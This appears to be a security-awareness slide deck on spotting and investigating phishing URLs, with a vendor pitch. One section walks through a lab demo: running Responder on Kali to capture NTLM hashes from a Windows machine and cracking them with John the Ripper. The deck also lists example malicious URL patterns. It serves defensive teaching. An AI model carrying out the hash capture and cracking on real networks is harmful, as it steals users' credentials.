<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170014>

<https://github.com/SpiderLabs/Responder>

<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170014>

Another SMB leak, this time using Adobe Acrobat:

<https://sensorstechforum.com/adobe-cve-2019-7089-second-patch/>

Creating Your Own Responder Demo

Creating Your Own Demo Environment Quickly in 1 Hour

Make a Windows VM and a Linux VM on the same simulated network

1. Download and run Kali Linux (<https://www.kali.org/news/kali-linux-2018-4-release/>)
2. Login as **root**, password is **toor**
3. Click **Applications** menu, choose **09 - Sniffing and Spoofing**, and run **Responder**
4. Then run **responder -l eth0 -v** (note listening IP address)

On Windows computer:

1. Open browser and connect to **http://<linuxIPaddress>/index.html** (or any name)
2. Open File Explorer, and connect to **file:///<linuxIPaddress>/index.txt**
3. Responder will get NTLM challenge responses

To crack hashes, back on Linux computer:

1. Start terminal session
2. **cd /usr/share/responder/logs**
3. Run John the Ripper to crack the hashes in the log files
john <HTTP-NTLMv2...> or **john <SMB....>**

<https://github.com/SpiderLabs/Responder>

Another SMB leak, this time using Adobe Acrobat:

<https://sensorstechforum.com/adobe-cve-2019-7089-second-patch/>

Kevin's demo: <https://blog.knowbe4.com/kevin-mitnick-demos-password-hack-no-link-click-or-attachments-necessary>

Agenda

- Understanding URL Links
- Common URL Phishing Tricks
- Advanced URL Phishing Techniques
- How to Safely Examine URL Links

Note on URL Investigation

Warning

- Clicking on a malicious URL (Uniform Resource Locator) link can exploit your app/OS/device
- Anything beyond viewing a URL requires an isolated, safe, forensics method:
 - Submitting URL link to malware analysis service
 - Opening link on isolated forensics image
 - Giving to forensics expert to investigate

How to Investigate URLs

Opening URLs or File Attachments

Can lead to:

- Immediate exploitation
- Sending your IP address
- Leaking other information
 - OS, browser, location, etc.
- Send your password hash to remote attacker

Combating Rogue URLs

Perimeter Defenses

- Anti-Malware Defenses
- Content Filtering
- Reputation Services
- Make sure Defenses Decode Encoding Before Inspecting
- Make sure Defenses Expand Short URLs
- Keep Up-To-Date on Latest Malicious URL trends

Whois.net

Combating Rogue URLs

Personal Defenses

- Education
- Always Hover Before You Click
- Stay Patched
- Don't Knowingly Allow Code to Execute
- Don't Download Unexpected Files
- Investigate or Ignore Suspicious URLs
- Execute in Suspicious URLs in a VM
- Submit to Malware Inspection Service

Whois.net

Note on URL Investigation

Warning

- Always “hover” over all URLs first to “reveal” them
- What you see, the “display” URL may not be the true underlying (anchor HREF) URL

Bank of America 

Dear member:

We detected unusual activity on your Bank of America debit card on **09/22/2014**. For your protection, please verify this activity so you can continue making debit card transactions ~~without interruption~~.

Please sign in to your account at <https://www.bankofamerica.com> to review and verify your account activity. After verifying your debit card transactions we will take the necessary steps to protect your account from fraud.

Image taken from: <https://www.onlineowls.com/phishing-emails-10-tips-identify-attack/>

How to Investigate URLs

Submit to service

Submit for identification to:

- VirusTotal.com -70+ different AV engines

The screenshot shows a VirusTotal analysis page for the URL: <https://www.malshare.com/sampleshare.php?action=getfile&hash=b661841c28b594d522af11ad812fbce6>. A circular badge indicates that 4 engines detected this URL. The page shows a table of detection results from various antivirus engines.

| DETECTION | DETAILS | COMMUNITY |
|---------------------|-----------|-------------------------------|
| Dr Web | Malicious | ESET Malware |
| Fortinet | Malware | Yandex Safebrowsing Malicious |
| ADMINUS.Labs | Clean | AviraLab WebGuard Clean |
| AlienVault | Clean | Avira-AVL Clean |
| Avira (no cloud) | Clean | BADWARE.INFO Clean |
| Baidu-International | Clean | BitDefender Clean |

www.sysinternals.com turns into <https://docs.microsoft.com/en-us/sysinternals/>

www.virustotal.com

How to Investigate URLs

Opening URLs or File Attachment

If you need to open a URL,

- Open in a safe virtual machine or isolated computer built for that purpose
- Example: VMware, Hyper-V, Virtual Box, Windows 10 Sandbox, Amazon Workspaces, etc.
- Windows 10 Sandbox
- Kali Linux on Windows



<https://www.linkedin.com/pulse/windows-10-sandbox-forensics-vm-roger-grimes/>

<https://www.pcworld.com/article/3338084/how-to-use-windows-sandbox-microsoft.html>

How to Investigate URLs

Opening URLs or File Attachment

If you need to open a URL or file,

- Turn over to a true forensic expert, who has the right equipment and tools

How to Investigate Domains

Research

- How old is domain registration creation?
- Younger is more risky

Whois.net

How to Investigate Email Phishes

Research

- How old is domain
- Younger is more suspicious

WHOIS LOOKUP



themobilebonus.com is already registered*

Example was less than 4 months old at time of looked up and referred to pestware domain

```
Domain Name: THEMOBILEBONUS.COM
Registry Domain ID: 2440268436_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.internet.bs
Registrar URL: http://www.internet.bs
Updated Date: 2019-10-04T18:33:27Z
Creation Date: 2019-10-04T18:33:22Z
Registry Expiry Date: 2020-10-04T18:33:22Z
Registrar: Internet Domain Service BS Corp
Registrar IANA ID: 2487
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone:
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: ANNA.NS.CLOUDFLARE.COM
Name Server: YICHUN.NS.CLOUDFLARE.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2020-01-23T13:31:17Z <<<

For more information on Whois status codes, please visit https://icann.org/epp
```

Whois.net

Domain themobilebonus.com was from a pestware ad scam

Many bogus domains are less than a day old

How to Investigate Email Phishes

Research

- Is domain on a blacklist?

The screenshot shows the MxToolbox SuperTool interface. At the top, there's a navigation bar with links like 'MX Lookup', 'Blacklist', 'Diagnosics', etc. The main content area shows a search for 'fujamar.com' with a 'Blacklist Check' button. Below this, a banner reads 'BLACKLISTING isn't the ONLY email delivery issue'. A message states 'We notice you are on a blacklist' with a link to suggestions. A table below shows the results of the blacklist check for fujamar.com, which resolves to IP 198.185.159.144. The table lists various blacklists and their status.

| | Blacklist | Reason | TTL | ResponseTime |
|--------|----------------------|---------------------------------|------|--------------|
| LISTED | mxuri | fujamar.com was listed (Detail) | 2103 | 0 |
| OK | BBB Domain | | | 34 |
| OK | SEW FRESH | | | 31 |
| OK | SEW URI | | | 31 |
| OK | SEW URI/EO | | | 31 |
| OK | SORBS RHIBEL_SPOCOWP | | | 0 |
| OK | SORBS RHIBEL_NOWAL | | | 0 |
| OK | Spywatch DDL | | | 0 |
| OK | SPHSA | | | 0 |

Mxtoolbox.com

Note: Most malicious domains are not on blacklists

How to Investigate Email Phishes

Research

- Is domain healthy?

<https://mxtoolbox.com/domain/googlechromeupdates.com/>

How to Investigate Email Phishes

Email H

- Is dom

10 Problems

| Category | Host | Result |
|----------|-------------------------|--------------------------------------------|
| dns | googlechromeupdates.com | DNS Record not found |
| spf | googlechromeupdates.com | DNS Record not found |
| mx | googlechromeupdates.com | No DMARC Record found |
| mx | googlechromeupdates.com | DMARC Quarantine/Reject policy not enabled |
| dns | googlechromeupdates.com | Name Servers are on the Same Subnet |
| dns | googlechromeupdates.com | SOA Serial Number Format is invalid |
| dns | googlechromeupdates.com | SOA Expire Value out of recommended range |
| smtp | park-mx.above.com | Reverse DNS does not match SMTP Banner |
| smtp | park-mx.above.com | Warning - Does not support TLS |
| smtp | park-mx.above.com | May be an open relay |

<https://mxtoolbox.com/domain/googlechromeupdates.com/>

How to Investigate URLs

Keeping up with Rogue URLs– Signs of Maliciousness

Keeping up-to-date on the various phishing trends

- **KnowBe4 blog** (<https://blog.knowbe4.com>)
 - Example: <https://blog.knowbe4.com/double-the-phish-double-the-phun>
- **KnowBe4 resources** <https://blog.knowbe4.com/resources>
- **Phish of the Week**
- **Quarterly Infographic**

Red Flags of Rogue URLs




THE RED FLAGS OF ROGUE URLs

Spotting malicious URLs is a bit of an art. The examples represented here are some of the common tricks used by hackers and phishers to fool users to visiting malicious websites. The methods shown here could be used by legitimate services, but if you see one of these "tricks" you need to make sure you're dealing with the organization you think you are.

Look-a-Like Domains

Domain names which seem to belong to respected, trusted brands.


Slight Misspellings

-  Microsoft Online <v5pz@onmicrosoft.com>
- www.linkedin.com

Brand name in URL, but not real brand domain

- ee.microsoft.co.login-update-dec20.info
- www.paypal.com.bank/login?user=johnsmith@gmail.com
- ww17.googlechromeupdates.com/


Brand name in email address but doesn't match brand domain

-  Bank of America <BankofAmerica@customerloyalty.accounts.com>


Brand name is in URL but not part of the domain name

- devopsnw.com/login.microsoftonline.com?userid=johnsmith

Domain Mismatches

-  Human Services.gov <Despina.Orriantia8731610@gmx.com>
- <https://www.le-blog-qui-assure.com/>

Strange Originating Domains

-  MAERSK <info@onlinealx.com.pl>



Overly Long URLs

URLs with 100 or more characters in order to obscure the true domain.

- http://innocentwebsite.com/irs.gaw/login/fasdkg-sajdkjndf_jnbkaslojfbkajsdfkjbasdfjdsnfjksdrgfdjfgjfdgdyht.php

File Attachment is an Image/Link

It looks like a file attachment, but is really an image file with a malicious URL.

-  INV39391.pdf  <https://d.griffree/fjsaoc>
Click or tap to follow link.

URL Domain Name Encoding

- <https://%77%77%77%6D%6E%6F%77%62%654%63%6F%6D>

Shortened URLs


When clicking on a shortened URL, watch out for malicious redirection.

- <https://bit.ly/2SnA7Fnm>

Open Redirectors

URLs which have hidden links to completely different web sites at the end.

- info@mail.adobe.com?r?id=hc347a8&p1=evilwebsite.com



The KnowBe4 Security Awareness Program WORKS



Baseline Testing

Use simulated phishing to baseline assess the Phish-prone™ percentage of your users.



Train Your Users

The world's largest library of security awareness training content; including interactive modules, videos, games, posters and newsletters. Automated training campaigns with scheduled reminder emails.



Phish Your Users

Best-in-class, fully automated simulated phishing attacks, hundreds of templates with unlimited usage, and community phishing templates.




See the Results

Enterprise-strength reporting, showing stats and graphs for both training and phishing, ready for management. Show the great ROI!



Security Awareness Training Program That Works

- Drawn from a data set of **over six million users**
- Across **nearly 11K organizations**
- Segmented **by industry type and organization size**
- **241,762 Phishing Security Tests (PSTs)**



Resources

Free IT Security Tools



Domain Doppelgänger



Awareness Program Builder



Domain Spoof Tool



Mailserver Security Assessment



Phish Alert



Ransomware Simulator



Weak Password Test



Phishing Security Test



Second Chance



Email Exposure Check Pro



Training Preview



Breached Password Test

Whitepapers



Ransomware Hostage Rescue Manual

Get the most complete Ransomware Manual packed with actionable info that you need to have to prevent infections, and what to do when you are hit with ransomware.



CEO Fraud Prevention Manual

CEO fraud is responsible for over \$3 billion in losses. Don't be next. The CEO Fraud Prevention Manual provides a thorough overview of how executives are compromised, how to prevent such an attack and what to do if you become a victim.



12+ Ways to Hack Two-Factor Authentication

All multi-factor authentication (MFA) mechanisms can be compromised, and in some cases, it's as simple as sending a traditional phishing email. Want to know how to defend against MFA hacks? This whitepaper covers over a dozen different ways to hack various types of MFA and how to defend against those attacks.

» Learn More at www.KnowBe4.com/Resources «

Questions?

Roger A. Grimes– Data-Driven Defense Evangelist, KnowBe4

rogerg@knowbe4.com

Twitter: [@rogeragrimes](https://twitter.com/rogeragrimes)

<https://www.linkedin.com/in/rogeragrimes/>

Tel: 855-KNOWBE4 (566-9234) | www.KnowBe4.com | Sales@KnowBe4.com